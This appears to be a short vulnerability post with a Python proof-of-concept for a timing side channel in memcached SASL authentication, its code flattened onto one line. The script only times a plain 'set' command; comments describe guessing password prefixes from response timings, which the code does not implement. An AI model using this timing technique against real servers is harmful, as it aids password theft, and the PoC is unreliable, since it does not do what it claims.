CVE-2026-47784 memcached时序侧信道漏洞

import socket import time def test_timing_attack(target_ip, target_port=11211): """ Conceptual PoC for Timing Side Channel attack on memcached SASL. This script measures the response time for authentication attempts. Note: This is a simplified demonstration for analysis purposes. """ try: # Establish connection to memcached server sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) # SASL Authentication Mechanism List # sock.sendall(b"stats\r\n") # Simple check if alive # In a real attack, the attacker would send crafted SASL packets # with guessed password prefixes and measure the time difference. payload = b"""set test_key 0 0 4 done """ start_time = time.perf_counter() sock.sendall(payload) response = sock.recv(1024) end_time = time.perf_counter() elapsed_ms = (end_time - start_time) * 1000 print(f"Response Time: {elapsed_ms:.4f} ms") print(f"Response: {response.decode()}") sock.close() # Analysis logic would compare elapsed_ms across multiple attempts # to infer correct password bytes based on statistical significance. except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Replace with actual target IP # test_timing_attack("127.0.0.1") pass